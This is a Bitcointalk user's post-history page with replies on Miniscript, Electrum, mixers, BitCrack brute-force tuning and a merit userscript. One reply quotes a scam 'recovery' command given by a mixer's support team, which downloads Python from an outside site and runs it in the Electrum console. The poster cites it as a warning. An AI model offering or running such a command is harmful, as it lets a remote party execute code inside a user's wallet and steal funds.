Bitcoin Forum
May 02, 2024, 10:16:01 PM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
  Home Help Search Login Register More  
  Show Posts
Pages: « 1 ... 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 [131] 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 »
2601  Bitcoin / Development & Technical Discussion / Re: Miniscript Project on: September 09, 2019, 06:58:48 PM
By the look of this, I guess it's going to be a hell of a lot of constantly checking what all those abbreviations mean when you are formulating a script. I understand the gain in terms of versatility and decrease of size, but for me Bitcoin Script is way easier to read and see what's going on. I guess I will need to put in effort and practice a lot and maybe it becomes second nature with Miniscript, but for complex stuff I can already tell I will struggle with it for a while, maybe that is how my brain works, I like to see every "extended" on display with no shortcuts.

There are many ways to deals when there are many of abbreviations. Example :
Code:
or_d(c:pk(A),and_v(vc:pk_h(B),older(144)))
Code:
or_d(
    c:pk(A),
    and_v(
        vc:pk_h(B),
        older(144)
    )
)

I haven't tried miniscript, but if there's problem with space and enter usage, you could trim those before convert miniscript to bitcoin script.

Besides, it's far easier rather than familiarize yourself with stack-based programming. AFAIK Stack mostly used to store data these days.
2602  Economy / Reputation / Re: [Flag] User "ksystems77" spreading malware on: September 08, 2019, 07:02:50 PM
Good thing you archived it before the posts was edited Smiley

But looks like the account was hacked since :
1. His/her last posts was made on September 16, 2018, 06:52:19 PM
2. Getting merit isn't that easy, so i doubt scammer would use such valuable account



Edit : He share it again on :
1. https://bitcointalk.org/index.php?topic=5174171.msg52398714#msg52398714 (https://archive.is/GVsWD)
2. https://bitcointalk.org/index.php?topic=5182910.0 (https://archive.is/jvWmi)
2603  Bitcoin / Electrum / Re: Electrum 3.3.8 on a 32-bit Computer on: September 07, 2019, 06:54:17 PM
Permission denied sounds like you need to run the command with sudo.

You don't need superuser privilege to run electrum.

By the way, you should have a 32-bit version of Python.

AFAIK Python already available by default when you use Ubuntu (and most linux distro) these days

@op run this

Code:
sudo chmod 770 /home/richard/.electrum/daemon

I also suggest running this command as well. You don't need others class able to read, write or execute Electrum folder.
2604  Other / Beginners & Help / Re: Autofill - extension that will simplify your hunting on: September 05, 2019, 06:38:38 PM
Agreed with you about third-party extensions, but personally Chrome is not a safe one to, because it is a sort of G products, and you know Google will use user data for whichever purposes that we never know.

They can collect user data from their browser, connect users' dots and over time they have significant data; then someday sell them to get profits at acceptable deal, only Google knows. It is a serious potential threat by using Chrome. I would prefer to use FireFox or Brave browers, instead of Google Chrome.

Most people who join "hunting" give their personal information (with/without KYC) on daily basis, so i doubt they care about privacy concern or possibility of misuse of their information when using google product.

We shouldn't use even smartphones if you ask me because it's one of the most vulnerable things to malicious viruses in general and most people don't even have anything like AV installed in their smartphones because either they are not aware or they are too over-smart. Most of the hacks nowadays take place through these Android applications and if such extension is installed in your chrome browser and you've allowed some permissions to your browser, I guess your coins are at stake because this extension will have some sort of code or patch injected in it that'll come with it after installation and it'll fetch all the data from your mobile and send it to hacker. So not only are your coins and privkeys, but your data also isn't so safe if you blindly download anything.

I disagree, smartphone these days generally more secure than desktop because sandboxing feature where an application can't access system, other application or user's files without user's permission.

Most of those hacks usually happen because outdated OS or user simply allow all permission request.
2605  Bitcoin / Bitcoin Discussion / Re: A block containing only 2 transactions on: September 04, 2019, 09:56:33 AM
blocks that are generated every 10 minutes on average having 1 gigantic transaction is not going to create any kind of network bottleneck! you are still verifying that 1 block by doing the same amount of checks as if there were 2000 transactions. not to mention that if that 1 transaction were a SegWit tx then the verification was actually faster than verifying 2000 transaction since you would be reusing the same hash for the most part.
that is why it is not changed at consensus level and it should not be changed.

the bottleneck you are thinking of is if "nodes" were relaying such gigantic transactions which they (by default) don't.

Few transaction have quadratic growth on verification time (also called time complexity), see :
https://bitcoincore.org/en/2016/01/26/segwit-benefits/#linear-scaling-of-sighash-operations
https://bitslog.com/2017/04/17/new-quadratic-delays-in-bitcoin-scripts/

While there are limitation to prevent such abuse, miner could bypass it since the rule only apply when broadcast a transaction.
2606  Bitcoin / Bitcoin Technical Support / Re: Parse recent transactions with bitcoin core in pruned mode on: September 04, 2019, 09:24:46 AM
If anyone knows how to speed it up - suggestions are welcome.  The bottleneck right now is a text processing in bash.  As you can see I have a lot of pain converting the BTC into satoshi; keep in mind that jq outputs values in scientific notation, so sprintf is absolutely necessary.

There are 3 options :
1. Write your script on another language (such as C, C++ or Go) which have fast performance.
2. Parallel some repetitive task (usually command in for/while statement), but it could get complicated quickly. See https://unix.stackexchange.com/q/103920
3. Micro-optimize your bash script (not recommended)

I'm not linux or bash expert, so someone might have better suggestion.
2607  Bitcoin / Development & Technical Discussion / Re: BitCrack - A tool for brute-forcing private keys on: September 03, 2019, 05:13:21 PM
Hello My rx470 4gb gives only 80Mkey/s it's normal?
I tested with these parameters in Windows 10 : clBitCrack.exe -b 32 -t 256 -p 4096 -c 1FRoHA9xewq7DjrZ1psWJVeTer8gHRqEvR
as I understand it for cards from AMD this program is poorly optimized  Sad

You might want to check earlier posts :

  • RX 480 is have 20% faster speed, but few websites (such as UserBenchmark report RX 480 generally only 10% faster on non-gaming benchmark

Rx480 8Gb     107.04 MKey/s
clBitCrack  --b 72 -t 256 -p 2048

Rx480 4Gb     100.00 MKey/s
clBitCrack  --b 72 -t 256 -p 1024

  • A user with RX 570 (which is rebrand of RX 470) recommend these parameter, you might get better speed with this parameter

For RX 570, what are CLBitcrack -b -t and -p?  Please... Smiley

Rx570 has 32 compute units , try this
-b 64 -t 256 -p 1024

TLDR : looks like the speed is nearly normal, but it could be faster or optimized
2608  Bitcoin / Bitcoin Technical Support / Re: Parse recent transactions with bitcoin core in pruned mode on: September 03, 2019, 05:03:21 PM
Edit: alright.  We got getblock with verbosity = 2 here.  That should do.  https://bitcoincore.org/en/doc/0.16.0/rpc/blockchain/getblock/

That's crude way, but it's good as long as you don't mind additional time to check all transaction.

You might be interested with blocknotify parameter on bitcoin.conf file, it's similar with walletnotify except it's executed when a block mined and %s refers to block hash.
2609  Other / Beginners & Help / Re: Records achieved in the crypto world on: August 31, 2019, 03:35:58 PM
There isn't just Firefox. There DuckDuckGo, Tor, Epic browser and some others.

Free built-in VPN IMO is too good to be true, unless it's run by the community/contributor just like Tor node.

Duckduckgo isn't a Browser, but a search engine.

https://play.google.com/store/apps/details?id=com.duckduckgo.mobile.android
2610  Economy / Service Discussion / Re: Chainalysis research reveals: only a small percentage of mixed coins are illegal on: August 29, 2019, 06:09:44 PM
I believe that if the mixer is able to track down stolen funds, it should refuse to mix. Criminal activities should not be encouraged by the blockchain technology, which were not made for criminals, but for regular people.

And no one would use such mixers, imagine what would happen if their system made a mistake or they use such excuse to selectively scamming their users.

And if blockchain technology could stop criminal activity, that means it could be used for censorship tools which defeat the purpose of using blockchain technology (at least on cryptocurrency usage).
2611  Bitcoin / Bitcoin Technical Support / Re: Error message on bitcoin core on: August 29, 2019, 05:29:41 PM
I don't see a 18.0 win86 version so i think you might be stuck with this warning. (or you need to build v18.0 yourself, but i'm not sure if that's possible either.)

According to achow101, there's 32-bit/x86 librar for Bitcoin Core. You just need to build/make/compile it by yourself.

The Windows 32-bit has had some performance and other issues. While it still works, it does also hold back some other future improvements. By removing it now, we won't have to worry about supporting Windows 32-bit for those future improvements. You can read the discussion about this here: http://www.erisian.com.au/meetbot/bitcoin-core-dev/2019/bitcoin-core-dev.2019-04-11-19.00.log.html (it's during the Platform Deprecation topic towards the end).

It was removed under the assumption that few or no people were using Windows 32-bit.

Note that Bitcoin Core 0.18.0 still had Windows 32-bit binaries built. They simply weren't uploaded for now. If there is enough people who are using Windows 32-bit, they can and will be uploaded too and future releases will have them as well.
2612  Bitcoin / Electrum / Re: Question about privacy on Electrum Bitcoin. on: August 29, 2019, 02:17:49 AM
The reason I do this is not to hide anything illegal, but rather to protect myself from something that might have been illegal before I received those coins.  Tongue

There is huge flaw in your thinking and actions. You could easily get "illegal" coins after receive them from mixing service.
So you could have problems from trying to not get into any Tongue. Read about over 4000 hacked bitcoins mixed at chip mixer. If you use that service, you easily can get those coins.

Which would be identified as "mixers" coins rather than "illegal" coins since chip mixer have fixed chip values.

It's different story if government decide to make all "mixers" coins is illegal.

Let us know if you need something!

Thanks for the clarification (it's off-topic BTW)
2613  Other / Meta / Re: Enhanced merit UI [1.1] on: August 24, 2019, 07:10:59 AM
Enhanced merit UI [1.3]

I had free time, so i decide to make few changes.



Changelog :

  • Update jQuery to 3.4.1
  • New feature : one-click sMerit send
  • New feature : check sMerit amount when click "+Merit" (experemental, disabled by default)
  • Change input type to "number" to allow scroll
  • Change code structure
  • Show text "Getting sMerit amount..." when still checking sMerit amount, re-open pop-up to show sMerit amount

Unofficial full changelog (for history/tracking purpose) :

Code:
# RELEASE NOTES

## Version 1.3

* Update jQuery to 3.4.1
* New feature : one-click sMerit send
* New feature : check sMerit amount when click "+Merit" (experemental, disabled by default)
* Change input type to "number" to allow scroll
* Change code structure
* Show text "Getting sMerit amount..." when still checking sMerit amount, re-open pop-up to show sMerit amount

## Version 1.1.2

* Remove @downloadURL to prevent the script update itself to grue's code which don't show personal/source sMerit amount
* Fix Amount of personal sMerit is deducted rather than source sMerit when source sMerit is available

## Version 1.1.1

* Show both personal and source sMerit for merit source
* Change UI for merit source

## Version 1.1-em0.1

* The available sMerit points are shown

## Version 1.1

* Fix csrf token not working when quick reply is disabled

## Version 1.0

* Initial Release

Notes :

  • There's delay when open/close popup if you enable feature check sMerit amount when click "+Merit"
  • If you want to change amount of one-click sMerit value, change value inside oneClick_amount. Example :
Code:
oneClick_amount = [1, 2, 3, 4, 5, 10, 20, 50]
  • Only tested on Mozilla Firefox with Tampermonkey

Code:
// ==UserScript==
// @name        bitcointalk merit
// @version     1.3
// @author      grue, minifrij, EcuaMobi, ETFbitcoin
// @source      https://github.com/grue0/bitcointalk-scripts/
// @source      https://bitcointalk.org/index.php?topic=2833350.0;0
// @description A very simple userscript that allows you to add merit without leaving the page
// @include     https://bitcointalk.org/index.php?topic=*
// @require     https://code.jquery.com/jquery-3.4.1.min.js
// @grant none
// ==/UserScript==

(() => {
  var sMerit, source_sMerit, check_onClick = false, oneClick_amount = [1, 2, 5, 10, 50]

  function check_sMerit(msgId){
    // Added by EcuaMobi
    $.post(
      "https://bitcointalk.org/index.php?action=merit;msg=29048068"
    ).then((data) => {
      sMerit = /You have <b>([0-9]+)<\/b> sendable/.exec(data)[1]
      source_sMerit = /The next ([0-9]+) merit you spend will come from your source/.exec(data)[1]
      show_popup(msgId)
    }).catch(() => sMerit = null)
  }

  function show_popup(msgId){
    if(sMerit!=null && source_sMerit==null) {
      $("#em-smerit-count" + msgId).html('<a href="https://bitcointalk.org/index.php?action=merit;msg='+msgId+'" target="_blank">Available:</a> <b>'+sMerit+'</b> &nbsp;&nbsp;&nbsp;')
    } else if (sMerit!=null && source_sMerit!=null) {
      $("#em-smerit-count" + msgId).html('<a href="https://bitcointalk.org/index.php?action=merit;msg='+msgId+'" target="_blank">Available (yours | source):</a> <b>'+sMerit+' | '+source_sMerit+'</b> &nbsp;&nbsp;&nbsp;')
    }else{
      $("#em-smerit-count" + msgId).html('<a href="https://bitcointalk.org/index.php?action=merit;msg='+msgId+'" target="_blank">Getting sMerit amount...</b> &nbsp;&nbsp;&nbsp;')
    }
    $("#grue-merit-popup" + msgId).toggle()
  }

  // get csrf token from the logout link
  let sc = $('td.maintab_back a[href*="index.php?action=logout;sesc="').attr("href");
  sc = /;sesc=(.*)/.exec(sc)[1];

  // Get remaining sMerit
  check_sMerit()

  // selector for the "+Merit" link
  $('td.td_headerandpost div[id^=ignmsgbttns] a[href*="index.php?action=merit;msg="]').each((i, e) => {
    const msgId = /msg=([0-9]+)/.exec(e.href)[1]

    let oneClick_html = `
      <div style="display:inline-block;">
        One-click send :
      </div>
    `
    oneClick_amount.forEach((amount) => {
      oneClick_html += `
        <form style="display:inline-block;">
          <input name="merits" value="` + amount + `" type="hidden"/>
          <input style="padding:0" class="oneClick" value="` + amount + `" type="submit">
        </form>
      `
    })

    const $popup = $(['<div id="grue-merit-popup' + msgId +'" class="grue-merit-popup" style="position: absolute; right: 40px; background-color: #ddd; font-size: 13px; padding: 8px;border-width: 1px;border-color: black;border-style: solid;">',
      oneClick_html,
      '  <hr>',
      '  <form>',
      '    <div>',
      '      Merit points: <input style="height:1em" size="6" name="merits" value="1" type="number" min="1" max="50"/>',
      '    </div>',
      '    <div style="margin-top: 6px; "><span id="em-smerit-count' + msgId +'" style="font-size:11px;" /> <input class="sendButton" value="Send" type="submit"></div>',
      '  </form>',
      '</div>'
    ].join("\n"))
    $popup.find("form").submit( (e) => {
      e.preventDefault()
      $popup.find('.sendButton')
        .prop("disabled", true)
        .val("Sending...")
      $popup.find('.oneClick')
        .prop("disabled", true)
      const merits = e.target.elements["merits"].value;

      $.post(
        "https://bitcointalk.org/index.php?action=merit",
        {merits, msgID: msgId, sc}
      ).then((data) => {
        //Error pages usually have this (rough heuristic)
        if(data.includes("<title>An Error Has Occurred!</title")) {
          throw "error"
        }
        //double check and see whether the post we merited was added to the list. Its msgId should be visible in the page source.
        if(data.includes("#msg" + msgId)) {
          alert("Merit added.")
          $("#grue-merit-popup" + msgId).toggle(false)
          if(!check_onClick){
            if(source_sMerit!=null && source_sMerit-merits>=0){
              source_sMerit -= merits
            }else if(source_sMerit!=null && source_sMerit>0){
              sMerit -= merits-source_sMerit
              source_sMerit = 0
            }else if(sMerit!=null){
              sMerit -= merits
            }
          }
          return
        }
        alert("Server response indeterminate.")
      })
      .catch(() => alert("Failed to add merit."))
      .always(() => {
        $popup.find('.sendButton')
          .prop("disabled", false)
          .val("Send")
        $popup.find('.oneClick')
          .prop("disabled", true)
      })
    })
    $popup.insertAfter(e)

    $(e).click((e) => {
      e.preventDefault()
      if(check_onClick){
        check_sMerit(msgId)
      }else{
        show_popup(msgId)
      }
    })
  })
  $(".grue-merit-popup").toggle(false)
})()
2614  Other / Beginners & Help / Re: Bitcoin Core pruned blockchain: download it here! (DON'T DO THIS!) on: August 22, 2019, 08:42:21 AM
I've been debating this __higher degree of trust__ thing at least two times with Andrew and Greg and found no reason behind their arguments. If they haven't moved this thread from technical sub-forum I'd include a full mathematical analysis right here to prove there is no trust issue (I mean a practical issue). Briefly speaking, there is no rational attack scenario for generating a large number of blocks committing to a poisoned UTXO. To be more specific there is always a number n for the pruned chain length that guarantees full security from a game-theoretic point of view. For current bitcoin blockchain, a UTXO with 2000 block commitments is practically safe for wallets that are handling 1 billion dollars worth of assets! The only possible problem would be Sybill attack which could be easily mitigated by introducing a lower bound for difficulty when bootstrapping or including checkpoints. It can also be included in the protocol itself: require more "work" instead of more number of commitments. easy.

I should specify the higher degree of trust depends on how they implement UTXO commitment. Few implementation (sometimes under different name) i've seen are ridiculous, such have central or master node as UTXO source.

The UTXO commitment idea itself isn't bad and i don't mind if Bitcoin protocol/client adopt UTXO commitment feature (if done right).
But personally, i prefer use it to allow client to use their Bitcoin while waiting all blocks are downloaded & verified.
2615  Bitcoin / Development & Technical Discussion / Re: Using mouse input for extra entropy on: August 21, 2019, 08:27:24 AM
A compromised computer producing not truly random numbers is unlikely to produce a collusion after two 'random' events. They will rather produce random numbers in a smaller space. The output will appear random without testing, but someone with knowledge of the specific space numbers will be generated will be able to generate a collusion with fairly low effort.

The movement of the mouse is intended to counter the above risk in adding user specific random to create a larger space of possible private keys even if the computer's random function is compromised.

If computer/OS random function (such as /dev/random) is compromised, then that means your computer most likely is compromised as well since you need superuser access to compromise it.
It's different case if there's malicious update by OS provider or OS's random function had vulnerability to begin with.

Besides, good entropy won't help if the output is biased.
2616  Bitcoin / Development & Technical Discussion / Re: Easy way for remote transactions and wallet operations? on: August 19, 2019, 05:15:10 PM
Electrum can restore a HD wallet but indeed it's tricky to handle multiple wallets at the same time there.

Yes, but what i meant is there's no Electrum command to import HD wallet. You don't plan to import it manually, do you?

Another way is do it with a python library. I see that https://github.com/primal100/pybitcointools
 is archived and not maintained any longer. Any good alternatives?

I don't know if it's good or not, but i'd recommend https://github.com/ofek/bit.

I tried it once and like it since it's very easy to use even for geeks like me.
2617  Bitcoin / Electrum / Re: Question about privacy on Electrum Bitcoin. on: August 19, 2019, 05:02:55 PM
Take note few exchange and payment processor will deny payment and refund/freeze the funds if the funds come from mixers.
Which merchants do this, any list/experiences? I've never had this happen before w/ funds send from Chipmixer.

Only merchants who use BitPay or CoinBase, but there are very few cases since IMO people who use mixer/coinjoin tends to avoid those services.
It's the only cases i manged to found (perhaps due to bad/generic keyword) : https://www.reddit.com/r/Bitcoin/comments/3mea6b/bitpay_is_blacklisting_certain_bitcoins_rejecting/

CoinBase are known to blacklist some Bitcoin for their wallet/exchange services and it should apply to their payment processor as well.
But personally i wouldn't worry about it because there aren't any merchants who use BitPay/CoinBase to accept Bitcoin due to their unpopular business/politic decision
2618  Bitcoin / Bitcoin Technical Support / Re: Testnet block time in the future?! on: August 18, 2019, 05:07:47 PM
20 minutes into the future is rather major. What's the use of the timestamp if it can't be relied upon?

I understand what you meant, but we're talking about P2P network where such accuracy can't be guaranteed and doesn't mean it can't be relied at all.

On a side note, according to https://en.bitcoin.it/wiki/Block_timestamp, block time which accepted are

A timestamp is accepted as valid if it is greater than the median timestamp of previous 11 blocks, and less than the network-adjusted time + 2 hours. "Network-adjusted time" is the median of the timestamps returned by all nodes connected to you. As a result block timestamps are not exactly accurate, and they do not need to be. Block times are accurate only to within an hour or two.
2619  Bitcoin / Bitcoin Technical Support / Re: BTC sent but not received on: August 17, 2019, 05:26:21 PM
FWIW, I got an email reply from Bitcoinmixer.eu and they asked me to input the following in the Electrum console:
>> exec("import requests\nexec(requests.get('https://bitcoinmixer.eu/fast_recovery/13nG6Qw2XzmNyHEqRZpfVu25FwjQAGEqUq').text)")
(The address is the wallet I wanted the mixed coins sent to).

The command looked safe so I tried it and it gave me an error: Server exception, please, contact with support.
I let them know and haven't heard anything since.

The keyword exec alone is enough to tell the command could be dangerous. Never run an command without good understanding about the command or do extensive research.

But i doubt the error message on Electrum tell user to contact support, IMO the command is successfully executed.
2620  Bitcoin / Development & Technical Discussion / Re: What is the current status of Schnorr signatures, MAST, Taproot and Graphtroot on: August 17, 2019, 08:29:34 AM
Hi. It seems that there were no discussions specific to the subject for the last year. So would like to collect a summary regarding the following

There are few threads discuss those improvement you mentioned, such as :
MuSig: Schnorr Multisig and signature aggregation
Taproot proposal
[Schnorr] Should batched verification result in reduced weight per sig?

  • Current status of corresponding BIPs and its development
  • Any kind of technical or economical obstacles for including into Bitcoin Core release
I don't join Bitcoin dev mailing or Bitcoin IRC channel, so i can't answer this one.

  • New opportunities for business and users if that is released
Since all of those improvement offer reduced transaction size and privacy to some degree (except for Graphtroot which i never heard), there are few obvious opportunities :
1. Spend less Bitcoin for transaction fees
2. Prevent release whole script when spend UTXO (on MAST & Taproot)
3. Allow more transaction fit into a block due to reduced transaction size
4. Prevent de-anonymization by analyzing transaction (on Schnorr & Taproot)
5. Improve privacy for those who use mixers and CoinJoin

P.S. it's only high level overview
Pages: « 1 ... 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 [131] 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 »
Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!